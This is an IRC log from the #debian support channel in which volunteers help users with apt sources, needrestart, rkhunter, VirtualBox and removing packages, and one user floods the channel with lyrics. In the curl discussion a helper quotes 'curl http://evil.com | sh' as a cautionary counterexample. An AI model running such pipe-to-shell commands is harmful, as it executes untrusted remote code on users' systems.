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---Logopened Mon Aug 14 00:00:12 2017
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00:12<n0rthlight>Re, does gnome software manager work on Debian?
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00:19<annadane>"gnome software manager"... i don't actually know what that is
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00:20<n0rthlight>The graphical package manager in Ubuntu.
00:20<n0rthlight>Give you a idea of the package.
00:21<n0rthlight>I just download it. Its in the rep.
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00:27<annadane>i just didn't know the name of the package
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00:34<n0rthlight>Yeah didnt work so well In cinnamon not sure its possible.
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00:56<somiaj>n0rthlight: talking about synamptic?
00:56<somiaj>at least that is the gui that works best in debian that i know of
00:56<n0rthlight>Nay synatpic works great just not very visual.
00:57<n0rthlight>https://duckduckgo.com/?q=gnome+software&t=ffab&iax=1&ia=images
00:57<somiaj>I personally suggest learning apt or aptitude, since there maybe times you don't have a gui and still need to mess with packages
00:58<n0rthlight>Oh I know it a little. I am confortable at least just for inspiration on what to get next sometimes.
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00:59<n0rthlight>But I will stick with what work out of the box for now and gnome software didnt :0
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03:22<Lyrics>I can almost see it, that dream I am dreaming, but there's a voice inside my head saying you'll never reach it
03:22<Lyrics>Every step I'm taking, every move I make feels lost with no direction, my faith is shaking
03:22<Lyrics>But I gotta keep trying, gotta keep my head held high
03:22<Lyrics>There's always gonna be another mountain, I'm always gonna wanna make it move. Always gonna be a uphill battle, sometimes I'm gonna have to lose
03:22<Lyrics>Ain't about how fast I get there, ain't about what's waiting on the other side, it's the climb
03:23<Lyrics>The struggles I'm facing, the chances I'm taking sometimes might knock me down but no, I'm not breaking.
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03:23<Lyrics>I may not know it, but these are the moments that I'm gonna remember most, yeah, just gotta keep going
03:23<Lyrics>_cpaelzer, _kab, aboudreault, abrotman, absenta, ach, adema, adhawkins, adi, adriana, aef, aerostitch, AFNobody, afx237, agaida, aguitel_, aguslr, Airwave, Akronym, Alam_Squeeze, albertsh, Aldryic, alegen:
03:23<Lyrics>And I, I got to be strong, just keep pushing on
03:23<Lyrics>There's always gonna be another mountain, I'm always gonna wanna make it move. Always gonna be a uphill battle, sometimes I'm gonna have to lose
03:23<Lyrics>Ain't about how fast I get there, ain't about what's waiting on the other side, it's the climb
03:24<Lyrics>Alex[m]1, alkyl, amacater, amoe, amorel, Anarka, andi-, andres, annadane, anonfriese, anto, AntumDeluge, anyk, ao2, ap4lmtree-, apo, appas, arand, arlen, Arrowmaster, arrsim, arth_, Artox, Asara, Astra:
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03:24<Lyrics>avar, avelardi, aviau, babilen_, babs, balrog, banc, bblough, bciGo[m], berto, bestucan[m], bibiirc_, bilbo_, bjb, bla_, blacksyke, blarson, blast007, blathijs, blindsight`, blue, bluesceada, BOHverkill, bolt, bony, Brando753, brandon, breitenj, bremner:
03:24<Lyrics>sorry
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03:24<Lyrics>jm_: how ya doing?
03:24<Lyrics>recognize the stuff I was pasting?
03:25<@jm_>this is not a chat channel, please go elsewhere if you want to chat
03:25<Lyrics>oh, I was flooding the channel with awesomeness, I will stop now, sorry
03:25<Lyrics>i <3 Hannah Montana
03:26<Lyrics>if you got a problem with me, or with my girl Miley, then feel free to ban me, O Almighty One, but be aware that I evade all bans
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03:26<grawity>that's the 5th channel and 2nd network, and they haven't even tried changing the IP address yet
03:26-!-mode/#debian [-o jm_] by jm_
03:27<imperia_>is there apt purge equivalent command of aptitude purge ~c
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03:42<Drzacek>Good morning
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03:43<Drzacek>How can I read cpu temperature in debian?
03:44<Drzacek>does the thermalzone0 is always assigned to CPU on all linux distos/
03:44<Drzacek>?
03:44<grawity>it's hardware-dependent, not distro-dependent
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03:45<Drzacek>anyway to always find which one is the cpu?
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03:46<Drzacek>I have thermalzones0 and 1, and it looks like 1 is cpu (value correlates to what other tools show me)
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03:49<jm_>Drzacek: sometimes it's provided via ACPI, sometimes /sys (lm-sensors package, man sensors-detect)
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03:50<Drzacek>so no reliable platform-independent solution?
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03:52<grawity>try using /sys/class/hwmon/hwmon* where …/name == coretemp
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04:15<anton146>Hi everyone, this seems to be most active channel at oftc. Please send me to the direction of some (non-tech probably) channel, where I can just do some friendly talk to people, with a good online. I have some free time at my fulltime job.
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04:21<a777>Goodmorning to everybody i would like to know how can i install the libraries to read original dvd disc Please let me know as you can Bye for now Al-
04:22<itd>dpkg: tell anton146 -about chat
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05:06<madduck>there was a graphical tool I used to create instances of CUPS printers with different default configs. I thought it was xpp, but I can't save with that it seems. Any clues?
05:08<grove>The only "graphical" thing I remember having used with CUPS is the webinterface
05:08<madduck>yeah, that's not it
05:08<madduck>lpotions -p …
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05:34<willemb>Hi. needrestart seems to be ignoring my blacklist when executed in batch mode. any idea how to get around that?
05:35<willemb>I am trying to get a scripted report of services that need restarting, but the damn thing WALWAYS thinks docker needs a restart, so I added it in the blacklist
05:35<willemb>however, needrestart -lb still shows it.
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05:41<willemb>alternatively, why would needrestart ALWAYS think that docker needs to be restarted?
05:42<willemb>this is on a wheezy host, and it doesn't matter what version of docker or needrestart i use
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06:01<itd>willemb: Maybe it is related to this one: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770401#29
06:01<judd>Bug http://bugs.debian.org/770401 in needrestart (open, upstream): «needrestart: why does it always suggest restarting dbus»; severity: minor; opened: 2014-11-20; last modified: 2014-11-25.
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06:08<willemb>possibly
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06:57<willemb>itd: it does look similar.
06:57<willemb>it doesn't really help me, though
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07:13<itd>judd: checkbackport needrestart --torelease wheezy --fromrelease stretch
07:13<judd>Backporting package needrestart in stretch→wheezy/amd64: all build-dependencies satisfied using wheezy.
07:13<itd>willemb: You could try a newer version.
07:13<willemb>nope. running the newest version available for my operating system
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07:16<willemb>which is 2.11
07:17<itd>willemb: You are on wheezy and have needrestart 2.11? Did you backport it yourself?
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07:17<willemb>no, I am on Jessie
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07:17<willemb>using 2.11-2~bpo8+1
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07:18<willemb>aah, I see that I misreported earlier
07:18<willemb>I have needrestart on wheezy and jessie boxes, but only the jessie boxes run docker
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07:22<willemb>here is the output of needrestart -blv, if it matters: https://pastebin.com/Exfjefj2
07:24<willemb>and my unit file for docker: https://pastebin.com/g0Dej7E2
07:24<willemb>could the problem be that needrestart cannot determine the correct cgroup?
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07:36<itd>willemb: Could be. The reported cgroup does look different than the one mentioned here: https://github.com/liske/needrestart/blob/debian-stretch/README.Cont.md
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07:39<itd>willemb: I have no idea what if this is a good idea / will work, but you could try to modify the pattern used to identify a docker container in /usr/share/perl5/NeedRestart/CONT/docker.pm line 71.
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07:43<itd>s/what//
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07:54<willemb>no luck
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07:54<willemb>i think it is somehow detecting that the version of python IN the container is out of date
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08:25<jose>how to use xchat
08:26<jose>pardon me
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08:29<grove>!offtopic
08:29<dpkg>#debian is primarily a support channel for Debian users. Please keep the discussions in #debian on-topic and take longer discussions and non-support questions to #debian-offtopic. Imagine the chaos if each of the hundreds of people in the channel felt the need to wander off topic for a few minutes every day.
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08:29<itd>jose: Don't use xchat, use hexchat.
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08:32<Walex>jose: https://help.ubuntu.com/community/XChatHowto is a small starting point
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08:44<markus-k>whats the best way of creating unified debian images for virtualization these days? Are there any simple tools around or still debootstrap + scripting?
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09:10<blagarg>i have a deb package which should replace one file of another package, however dpkg complains that it is trying to overwrite the respective file, i could use dpkg with --force-overwrite but since package installation is part of a larger script i'd like to avoid that atm
09:11<blagarg>is it possible to force this overwrite somehow from the deb file site?
09:12<abrotman>dpkg: divert
09:12<dpkg>Don't try to convince dpkg to overwrite files and don't start playing with "--force" options for dpkg. Instead, "divert" one of the files out of the way so that there is no conflict. See man dpkg-divert and also http://www.debian.org/doc/debian-policy/ap-pkg-diversions.html. Working with the package management system is much easier than trying to work against it.
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09:15<blagarg>thx!
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09:30<W4RL0RD>Hello
09:31<W4RL0RD>Onion repos for Stretch?
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09:33<parrot>hi
09:33<parrot>---\\
09:34<parrot>hi
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09:34<parrot>hi
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09:38<itd>W4RL0RD: https://onion.debian.org/
09:39<W4RL0RD>itd, Those are services..
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09:43<W4RL0RD>The repos i have are jessie/stable.
09:44<W4RL0RD>But Debian is stretch
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09:51<itd>W4RL0RD: Did you try to change jessie to stretch? (In case you want to upgrade.)
09:51<W4RL0RD>itd, It's updating ok
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09:55<W4RL0RD>itd, It looks like changing it to stretch works as wel
09:55<W4RL0RD>well*
09:56<W4RL0RD>Thanks
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09:58<W4RL0RD>Its not upgrading shit though
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10:00<itd>judd: info shit
10:00<judd>No package named 'shit' was found in stretch/amd64.
10:00<itd>dpkg: bat
10:00<dpkg>In order to troubleshoot your problem with apt-get, apt or aptitude we need ALL OF THE FOLLOWING information: 1. complete output of your apt-get/apt/aptitude run (including the command used) 2. output from "apt-cache policy pkg1 pkg2..." for ALL packages mentioned ANYWHERE in the problem, and 3. "apt-cache policy". Use http://paste.debian.net/ to provide us with this information. Also ask me about <localized errors>.
10:01<itd>W4RL0RD: You cannot upgrade something that does not exist. ;)
10:02<W4RL0RD>What do you mean?
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10:03<itd>W4RL0RD: Read what dpkg said.
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10:04<W4RL0RD>So not all the same packages that are in clearnet repos exist in onion repos?
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10:34<n0rthlight>Good morning can any of you have a look at this error in my log: Linux gvfsd[1301]: mkdir failed on directory /var/cache/samba: Permission denied
10:36<annadane>n0rthlight, are you root?
10:36<n0rthlight>I google it could not find good informations on what "the system" is tring to do
10:36<n0rthlight>Good morning Annadane, indeed I am
10:36<annadane>posting your complete log would be helpful
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10:38<n0rthlight>annadane sure how should I proceed with that? Since I will not paste it here ( I have done similar once here but cant recall the method used.)
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10:40<duclicsic>n0rthlight: http://paste.debian.net/
10:41<duclicsic>n0rthlight: also you'd be better off explaining what you were trying to do, rather than just asking for input on a single log entry
10:41<n0rthlight>duclicsic thank you.
10:41<duclicsic>all we can see is that something tried to create a directory in /var/cache without sufficient permissions
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10:42<duclicsic>n0rthlight: a handy tool you can install is "pastebinit". you can pipe output from a command directly into it, and it will spit out a link.
10:43<n0rthlight>duclicsic I was trying to understand this recurrent error msg in the logs, I started inspecting it after my openvpn had trouble connecting.
10:43<duclicsic>ok. i doubt very much that's connected to your openvpn troubles
10:43<n0rthlight>it is working but it take a few times entering password
10:44<n0rthlight>Indeed, if its not a problem I would like understand this part of the log. I only ask here when the informations is scarce on the web.
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10:46<annadane>also you being root may not even be relevant, that was a silly question
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10:47<n0rthlight>https://paste.debian.net/981312/
10:48<n0rthlight>My firewall setting is very stiff and its probably related what I dont understand of this log is samba.
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10:52<n0rthlight>To make a story short I got a security issue a month back and I try to understand new line has they come.
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10:54<duclicsic>n0rthlight: well you're having errors relating to samba there, and inbetween there are messages saying UFW has blocked some MSRPC traffic on port 135. I'm honestly not sure whether that traffic is related to samba, but if this has been happening since you updated your firewall rules that might be the best place to start..
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10:56<aguitel>only way to upgrade firefox is to add sid repo ?
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10:56<annadane>aguitel, which firefox do you have installed? the one from the debian repository?
10:56<annadane>or did you get it from mozilla
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10:56<n0rthlight>duclicsic thank you I will look into it.
10:57<aguitel>annadane: esr
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10:57<aguitel>from stretch
10:57<annadane>aguitel, i mean did you apt install firefox-esr or did you go to mozilla's website and download it?
10:57<annadane>ah
10:57<aguitel>apt firefox-esr
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11:05<imperia_>is there apt purge equivalent command of aptitude purge ~c
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11:07<Blacker47>imperia_, https://www.debian.org/releases/stretch/amd64/release-notes/ch-upgrading.en.html#purge-removed-packages
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11:09<piper>imperia_: apt purge $(dpkg -l | awk '/^rc/ { print $2 }') instead of apt-get also works
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11:15<Gravious>hello does anyone know why fonts-droid is now fonts-droid-fallback ?
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11:16<Gravious>nvm i shall just fix ze path
11:16<Gravious>since it has changed
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11:35<Gravious>hello
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11:42<n0rthlight>hello
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11:46<annadane>!ask\
11:46<annadane>!ask
11:46<annadane>!ask
11:46<dpkg>If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later or on debian-user@lists.debian.org. See <smart questions><errors>.
11:47<n0rthlight>!friendly
11:47<dpkg>well, friendly is #del#
11:47<n0rthlight>lol
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11:48<n0rthlight>Impeccable timing to destroy my sarcasm.
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11:53<aguitel>anyway to add sid in stretch sources.list only to install firefox (not to upgrade entiresystem )?
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11:53<aguitel>maybe configure pinning ?
11:53<Brigo>aguitel, i think you can install firefox from its source web directly.
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11:54<jmcnaught>aguitel: it's not optimal, but installing firefox from a tarball from mozilla is a lot less likely to break your system than adding unstable sources to a stretch system
11:55<jmcnaught>aguitel: you *cannot* mix stable and unstable, it's one or the other.
11:56<aguitel>jmcnaught: i say to install firefox from sid , not upgrade the system
11:56<aguitel>only this
11:56<jmcnaught>aguitel: you cannot do that
11:57<aguitel>ok
11:57<jmcnaught>you're best of using firefox-esr, or if you really need the newer firefox installing it in some way that does not interfere with your package manager
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11:59<aguitel>jmcnaught: but stretch is upgrading firefox in some momment ?+
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11:59<jelly>aguitel: definitely do NOT add repos from a later release into stretch (stable), not even pinning will save you from messing up
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12:00<aguitel>jelly: ok
12:00<jelly>stretch will upgrade from 52ESR when 52ESR gets phased out by... 59ESR I think, in about a year or slightly less
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12:01<n0rthlight>jmcnaught I minimize external source however I do need oracle VM there a high risk after installing it?
12:01<n0rthlight>Of instability.
12:01<annadane>https://wiki.debian.org/DontBreakDebian
12:02<jmcnaught>n0rthlight: you tried using openjdk that comes with Debian?
12:02<n0rthlight>annadane thank you.
12:03<jmcnaught>or you mean oracle's other VM? in my opinion virtualbox is not any better than libvirt and virt-manager
12:03<jelly>jmcnaught: does libvirt do usb passthru with usb2 and usb3 speeds these days?
12:04<jelly>(well, kvm, I guess)
12:04<annadane>mainly directed at aguitel, n0rthlight
12:04<n0rthlight>jmcnaught I didn't, i will look into it I am just very used to oravle vm. I will verify if its recommended for my use of it.
12:05<jmcnaught>jelly: I don't know about USB3 but USB2 seems to work
12:05<annadane>but reading documentation is always good (:
12:05<jmcnaught>n0rthlight: i still don't know if you mean virtualbox or java
12:05<n0rthlight>jmcnaught virtualbox
12:05<jelly>jmcnaught: do you get more than 10MB/s
12:07<n0rthlight>annadane any informations you trow at me I will be happy to read
12:07<jmcnaught>jelly: yes I think so at least. It's not something I do all the time, I mostly use pUSB passthrough for headsets and input. I can try it out later and let you know if you want
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12:11<n0rthlight>jmcnaught maybe it is not better however from a first read it is more complex to run it. Now I just commenting I will look into it :)
12:12<jmcnaught>jelly: the XML definition for my windows 10 vm has an EHCI controller (it's at home though)
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12:14<jmcnaught>n0rthlight: a much simpler one is gnome-boxes (which also uses libvirt in the background) but you cannot run two hypervisors at the same time
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12:15<n0rthlight>jmcnaught Ok i Do need two at the same time you read my mind but I thank you for all the informations.
12:16<jmcnaught>what i mean is you cannot run virtualbox and kvm at the same time. libvirt can manage virtualbox actually (but probably not as well as the program it comes with)
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12:17<n0rthlight>Oh thats different I will look into it then.
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12:20<n0rthlight>jmcnaught this is my worry with gnome-boxe I'm not sure if it enforces Apparmor for VMs.
12:20<n0rthlight>I will take it with the gnome channel I think :)
12:25<jmcnaught>n0rthlight: with gnome-boxes it runs the virtual machines as a normal user (unprivileged) but I don't know if there are decent apparmor rules for it or not
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12:25<jelly>jmcnaught: well that's promising. I don't really need it right now, but that was one thing vbox had better working than alternatives in desktop virtualization space
12:26<jelly>I don't run VMs on workstations right now
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12:27<n0rthlight>jmcnaught yeah I am asking the with the vm support atm. Thanks for the informations I didn't even know gnome boxes existed it seem smooth to use.
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13:45<n0rthlight>Hey I have a good I am getting this error when running rkhunter --update
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13:45<n0rthlight>Invalid WEB_CMD configuration option: Relative pathname: "/bin/false"
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13:47<n0rthlight>Everything else work however I cant update the package.
13:50<jmcnaught>n0rthlight: look for more info in the package's README.Debian
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13:57<n0rthlight>jmcnaught " * LOCAL CONFIGURATION FILE
13:57<n0rthlight> It is possible to put configuration changes into a local config
13:57<n0rthlight> file. This file, called 'rkhunter.conf.local', must be in the same
13:57<n0rthlight> directory as the main configuration file (ie. in /etc/ by default for
13:57<n0rthlight> the Debian package). Rkhunter will look for configuration options in the
13:57<n0rthlight> main config file, and then in the local config file if it exists. For options
13:57<n0rthlight> allowed only once, the last one seen is used. For options allowed more than
13:57<n0rthlight> once, all options from both files will be used.
13:57<n0rthlight>My appologies
13:58<n0rthlight>Misstyped.
13:59<n0rthlight>Is strange it was not done automatically when installed.
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14:01<annadane>!paste
14:01<dpkg>Do not paste more than 2 lines to this channel. Instead, use: http://paste.debian.net/ http://pastie.org/ or http://picpaste.com/ for pics. Use wikisend.com for large files (think tar.gz) up to 100MB. Remember to tell us the URL of your paste! Cannot cut and paste? Ask me about <pastebinit>, <nopaste>, <wgetpaste>.
14:02<jmcnaught>n0rthlight: it's good to make a habit of checking for README.Debian and other files in package doc directories. NEWS and changelogs are other files to check especially if something changed between versions
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14:05<n0rthlight>jmcnaught you told me once to change the habit of sudo virtual file. Like sudo gedit.. I agreed but did it again a week after and locked my sudo. I listen now...
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14:15<jmcnaught>n0rthlight: if you're messing around with apparmor and rkhunter it's probably worth your time to invest in learning a non-GUI text editor like vim, emacs, or vim.
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14:15<annadane>or vim
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14:17<jmcnaught>annadane: yes that's a good one ☺
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14:26<amacater>jmcnaught: vim, vim, vim, vi and vim - and don't eat the vi ?
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14:31<n0rthlight>vim eh. god.. It get more complicated by the minute here :)
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14:31<n0rthlight>I was just starting to get fast with nano.
14:31<n0rthlight>..
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14:33<jmcnaught>n0rthlight: nano is fine, use the editor you're comfortable with. But if you edit a lot of text files in the terminal, learning a more sophisticated editor will pay off
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14:35*amacater freaked someone out this morning by not only using command line but also a command line web browser (elinks)
14:36<n0rthlight>amacater haha
14:36<n0rthlight>jmcnaught Na I am jocking around time to learn vim.
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14:36<grove>n0rthlight: I wasn't fast the first time I used vim (I was used to Emacs, but started at a job where emacs wasn't on the servers), but it has gotten better and I don't use anything else today - but as jmcnaught says: use what suits you
14:37<amacater>A student who honestly had no idea that such things existed or that anyone had ever used one. vi is good - because if you don't have vim, you may still have vi - routers, switches, Linux
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14:40<n0rthlight><amacater> point taken.
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14:40<FluffyFoxeh>I use nano for small edits and simple config files, and vim for more involved editing/coding
14:42<amacater>It's whatever your fingers fall nicely to - muscle memory wins, especially in a darkened server room / when the lights fail ... :)
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14:42<annadane>yeah but who actually looks at their keyboard when typing
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14:44<n0rthlight>I know its not the place for social but after a month here I am curious any of you work on Debian?
14:45<jmcnaught>n0rthlight: there is a social channel: #debian-offtopic
14:45*amacater does - helping out on testing CD releases and similar. Lots in the mailing lists
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14:47<n0rthlight>jmcnaught haha cmon I dont want to know if people on #debian-offtopic work on debian I am curious how you guys got here helping. Oh well
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14:47<n0rthlight>I be quiet and respect the rules.
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14:48*amacater lurks and tries to help, at times. I value all those who really help out and jump in on some of the things that I've done / can help with easily
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16:43<n0rthlight>hey I have some issue with my sources.list again this is how it actually look https://paste.debian.net/981353/
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16:43<n0rthlight>and this is what terminal pull
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16:44<n0rthlight>https://paste.debian.net/981357/
16:45<annadane>not sure i see the problem
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16:45<n0rthlight>I think I saw it not sure how it changed
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16:45<n0rthlight>the contrib word is not in there anymore/
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16:46<n0rthlight>Strange since I copied pasted from debian.org
16:47<annadane>ah, well, you can add it back? then apt update again
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16:47<annadane>potentially apt upgrade
16:50<n0rthlight>Ok
16:51<n0rthlight>does main non-free exist?
16:51<n0rthlight>without contrib ?
16:52<n0rthlight>Is it a viable link is my question ?
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16:55<itd>n0rthlight: Yes, but please ask dpkg about 'contrib' and 'non-free'. :)
16:56<n0rthlight>!contrib
16:56<dpkg>[contrib] Debian packages that contain <DFSG>-compliant software, but have dependencies not in main (possibly packaged for Debian in non-free). To get contrib packages, add lines like "deb http://deb.debian.org/debian/ [stretch|buster|sid] main contrib" to your /etc/apt/sources.list, then «aptitude update». Also ask me about <non-free>, <contrib list>.
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17:05<n0rthlight>Sorry for asking so much I understand better but I still have a issue.
17:06<annadane>it's better to add contrib as well as non-free because some packages depend on both
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17:06<n0rthlight>There is a tab in the sources.list name sources.list.save
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17:07<n0rthlight>Thats what is on it
17:07<n0rthlight>https://paste.debian.net/981358/
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17:09<n0rthlight>so my sources.list has a paralleled tab and I am not getting a full update it seems when I apt-get update probably becose of the # line on that tab no?
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17:11<itd>n0rthlight: Tab? A '#' marks the start of a comment (for humans) on that line. Hence the lines 8-10 in paste https://paste.debian.net/981358/ are ignored by apt.
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17:12<n0rthlight>oh
17:12<n0rthlight>Good to learn
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17:12<amacater>Have you got a copy of debian-handbook
17:12<n0rthlight>lol
17:12<n0rthlight>I do not
17:13<itd>n0rthlight: https://www.debian.org/doc/manuals/debian-handbook/
17:13<amacater>Grab a copy using apt and have a read
17:13<n0rthlight>But before I get into further reading I am trying to make sure my sources.list and apt-get update is functional :P
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17:15<n0rthlight>let me screenshot that tab, I am not crazy !
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17:15<n0rthlight>:P
17:15<itd>n0rthlight: No, you are not. :)
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17:18<amacater>https://www.debian.org/doc/manuals/debian-handbook/apt.en.html#id-1.9.10.7 - and substitute stretch for jessie
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17:21<n0rthlight>Ok http://security.debian.org/dists/stretch/updates/InRelease
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17:22<n0rthlight>https://www.reddit.com/r/debian/comments/5mf4ps/can_anyone_help_with_this_warning/
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17:23<n0rthlight>I am not getting the correct reponse right?
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17:26<itd>n0rthlight: What is your goal?
17:27<itd>n0rthlight: And what is not working as you would expect it to?
17:28<n0rthlight>itd At the moment it is my belief I am not getting the correct response from apt-get update with my current sources.list
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17:29<itd>n0rthlight: Why? :)
17:31<n0rthlight>lets say I apt-get update on deb http://deb.debian.org/debian stretch main contrib non-free and there is nothing to update what would be the reponse in terminal ?
17:32<dboles>isn't it easier simply to tell us what response you get?
17:32<dboles>rather than posing riddles
17:32<n0rthlight>lol
17:32<dboles>"WHAT! is your favourite colour?"
17:32<itd>n0rthlight: https://paste.debian.net/981357/ looks just fine.
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17:33<itd>n0rthlight: but I think it is missing some lines at the end - something like 'All packages are up to date.'.
17:33<n0rthlight>indeed and
17:33<n0rthlight>I have 6 repositories line and 4 hits?
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17:36<itd>n0rthlight: AFAIK you need only one hit/miss per (domain, release)-pair.
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17:38<itd>n0rthlight: But I know nothing. :P
17:38<n0rthlight>Yeah I just got that, maybe I am confusing with ubuntu.
17:39<n0rthlight>My sources.list changed overnight so .. I dont know.
17:39<amacater>https://paste.debian.net/981359 - gives you mine - exchange uk for es for you, I think
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17:40<n0rthlight>I have the same both for the line 1 and 2 been empty
17:40<n0rthlight>You guys have a file named sources.list.save on your /ect/apt/ folder?
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17:42<n0rthlight>I will be straight up I possibly got hacked 1 month ago. Some other device but since them I can get hyperaware
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17:43<itd>n0rthlight: No, I don't, but only only "/etc/apt/sources.list and the files contained in /etc/apt/sources.list.d/ are designed to support any number of active sources and a variety of source media." (man sources.list)
17:44<itd>n0rthlight: So apt should/will ignore that file.
17:44<n0rthlight>yeah I dont no have sources.list.d on this install
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17:46<n0rthlight>thanks for looking and all your help. I will relax :P
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18:28<n0rthlight>How safe is it to use a curl -o command?
18:29<annadane>n0rthlight, depends on the command...
18:29<n0rthlight>Well let me be more precise one prefered on debian.org.
18:29<annadane>n0rthlight, depends on the page on debian.org
18:29<n0rthlight>Look at this Annadane if you dont mind
18:29<annadane>may be outdated/not appropriate to your use
18:29<n0rthlight>https://wiki.debian.org/VirtualBox#Debian_9_.22Stretch.22
18:30<n0rthlight>I just dont like using curl but I see no possibility here..
18:30<annadane>well, you don't have to use virtualbox
18:30<n0rthlight>Has long has jmc dont see these lines
18:30<itd>n0rthlight: That will download a file.
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18:31<annadane>if you want to then i suppose it's safe, but it is a third party respository
18:31<annadane>so if you trust it...
18:31<itd>n0rthlight: That's different from 'curl http://evil.com | sh'.
18:31<n0rthlight>lol
18:31<annadane>i use that command all the time
18:31<n0rthlight>Ok
18:32<itd>n0rthlight: Open the link in a new tab and look at it.
18:32<itd>n0rthlight: What does it say? :)
18:32<n0rthlight>I did before Itd, I read on curl to but I jus tdont udnerstand all the process behind curl I just know of the reputation
18:33<itd>n0rthlight: Save the page in a file and continue using that file if you distrust curl.
18:33<n0rthlight>Oh.
18:33<itd>n0rthlight: It's not the tool it's what you do with it. :)
18:34<n0rthlight>It was my belief but I dont trust them anymore lol
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18:34<n0rthlight>My belief that is
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18:35<itd>n0rthlight: Do you know what pgp is? :) (I like xkcd, so have another one: https://xkcd.com/1181/ )
18:35<annadane>there's virt-manager which *is* packaged for stretch, it's what i use, if you care about free software
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18:38<n0rthlight>I do.
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18:39<n0rthlight>But tbe Vnk software seems like I lot of work
18:40<n0rthlight>Not sure Its the correct letters there :P
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18:56<n0rthlight>itd yes I know what it is I am not that retarded. Its just depend on what. :P
18:57<n0rthlight>What I did not understand it why the need of a curl -o to get the key. Iam sure there is a valid one but this I do not understand yet.
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18:59<n0rthlight>But thanks all for been patient and helpful.
19:00<itd>n0rthlight: The (virtualbox) package is signed with a key. You want to verify that the signature on the package is correct.
19:01<itd>n0rthlight: You need the public key to verify it. The key is not part of debian, so you need to download it somehow.
19:01<n0rthlight>Why use curl we could just download it?
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19:02<itd>judd: info curl
19:02<judd>Package curl (web, optional) in stretch/amd64: command line tool for transferring data with URL syntax. Version: 7.52.1-5; Size: 221.8k; Installed: 346k; Homepage: http://curl.haxx.se; Screenshot: https://screenshots.debian.net/package/curl
19:03<n0rthlight>Forget it I will get it in a few weeks I am sure when the time is right. append all the time.
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19:03<itd>n0rthlight: Yes, just download. That's what you can use curl for. :)
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19:03<itd>n0rthlight: Or wget, or firefox, or netcat, or ... ;)
19:03<n0rthlight>but why curl in this case?
19:03<n0rthlight>preferences?
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19:04<n0rthlight>I am annoying I know.. :)
19:04<itd>n0rthlight: That and it is often already installed.
19:04<n0rthlight>oh.
19:04<n0rthlight>and its direct from terminal I see
19:05<n0rthlight>from me curl=ijusthackedyou
19:05<n0rthlight>:P
19:05<itd>n0rthlight: As long as you look at the things you download and eventually execute you should be fine.
19:05<n0rthlight>Yeah ok.
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19:06<n0rthlight>Itd thank you very much your very patient.
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19:08<itd>n0rthlight: No problem. :)
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19:29<rob_debian>Hi all, please, how to delete a package that was compiled and finally installed in Debian Stretch through 'dpkg -i *deb' command ?
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19:30<Cyrus>rob_debian: `apt remove package_name` doesn't work?
19:30<rob_debian>in the case, how to remove it ? thanks since now !
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19:31<rob_debian>Hi Cyrus, nice to meet you !:) well, Cyrus, I didn't use it yet, for I thought I shouldn't use this command if I installed a package through 'dpkg' and not by 'apt-get install' procedure
19:32<rob_debian>so, can I use 'apt remove' without problems ?
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19:33<itd>rob_debian: On stretch you should be able to install deb packages via apt-get as well (i.e. "apt-get install /your/fancy/file.deb" should work).
19:33<Cyrus>rob_debian: Yes, no problems.
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19:34<rob_debian>Hi itd, nice to know you today !:) Really thanks for attention !
19:34<rob_debian>Ok Cyrus, please, have a look on it: https://paste.debian.net/981370/
19:35<Cyrus>....yes?
19:35<rob_debian>so, I'll go on, according your instructions. Thanks for information here, itd !
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19:36<rob_debian>so, no problem, just use 'apt-get autoremove' afterwards to complete the process. Thank you very much, Cyrus !
19:36<nicolas17>itd: oh interesting
19:36<nicolas17>itd: I used to do dpkg -i, getting broken dependency errors, and then apt-get install to fix them (ie. install the deps)
19:37<nicolas17>so apt-get install path/to/pkg.deb will do that in one step now?
19:37<itd>nicolas17: AFAIK, yes.
19:38<rob_debian>strange, in only one occasion, I don't use ubuntu, only Debian and Slackware here. and now, if I use 'apt remove' in Debian, it's similar to ubuntu...
19:39<rob_debian>correcting: in only an occasion, I saw an ubuntu running at my friend's home...
19:42<itd>nicolas17: 'add support for "apt-get install foo_1.0_all.deb"' - https://tracker.debian.org/media/packages/a/apt/changelog-1.4.7
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19:42<itd>(since apt 1.1~exp1)
19:44<rob_debian>quite curious this description in debian man page about 'apt' compared to 'apt-get': https://paste.debian.net/981371/
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19:45<annadane>rob_debian, "make" is the one you have to be careful about
19:45<annadane>you can't easily uninstall those
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19:46<annadane>you can compile software in debian but not recommended as root AFAIK
19:46<rob_debian>Hi annadane, glad to see you again ! are you referring to 'make install', that process more or less similar to FreeBSD compilation, but in Debian ?
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19:48<annadane>even just "make" by itself
19:49<rob_debian>please annadane, have a look on it... I use this procedure to compile packages in Debian: https://paste.debian.net/981373/
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19:49<annadane>i just very quickly browsed the man page for it and it doesn't mention make install
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19:49<annadane>i'm not too familiar with the syntax
19:49<rob_debian>I see, annadane. me too here
19:51<rob_debian>just for curiosity, for I don't intend to continue compiling in Debian anymore, after our conversation yesterday
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19:53<annadane>i don't have enough knowledge to verify whether that paste is correct or not
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19:54<rob_debian>oh, sorry, it's correct, compilation in debian through it generally ends succesfully
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19:55<itd>It looks very similar to "/msg dpkg ssb".
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19:55<rob_debian>but, if I can install binaries, why spendind so much time compiling the same packages that are available as stable binaries ? really doesn't make sense....
19:56<itd>rob_debian: You want amule in stretch, right?
19:57<itd>rob_debian: You can install binaries but that will break the idea of debian packages (and break your debian system).
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20:01<rob_debian>oh, no itd, it was given just as an example, I don't use amule :)
20:02<rjsalts>break your debian system seems like a slight exaggeration
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20:04<rjsalts>it can, but that's worst case scenario when you're picking something really integral to a lot of packages (e.g. perl, glibc, python, etc )
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20:06<rob_debian>Hi rjsalts, please, if you permit helping me about that: I didn't understand very well your last explanation
20:06<rob_debian>about really integral to a lot of packages....
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20:08<rjsalts>rob_debian: I mean a library or similar with a lot of packages that depend on it.
20:09<rob_debian> ok, but you are referring about cases that you compile any package, instead of installing its correspondind binary ?
20:09<rob_debian>corresponding, sorry;
20:09<rjsalts>rob_debian: so if you were to compile perl from source and replace /usr/bin/perl then you're doing something very dangerous, because a lot of debian sofware which relies on /usr/bin/perl might break
20:10<rob_debian>oh, now I understood you...
20:12<annadane>i'm not sure if the model is entirely correct but you can think of the concept of libraries as a collection of symlinks
20:12<rob_debian>Thanks for technical explanation, rjsalts !
20:12<rjsalts>rob_debian: although if you're compiling the source package hopefully the package maintainer has put in conflicts/breaks/etc
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20:12<rob_debian>yes, probably it shall happen by the maintainer side.
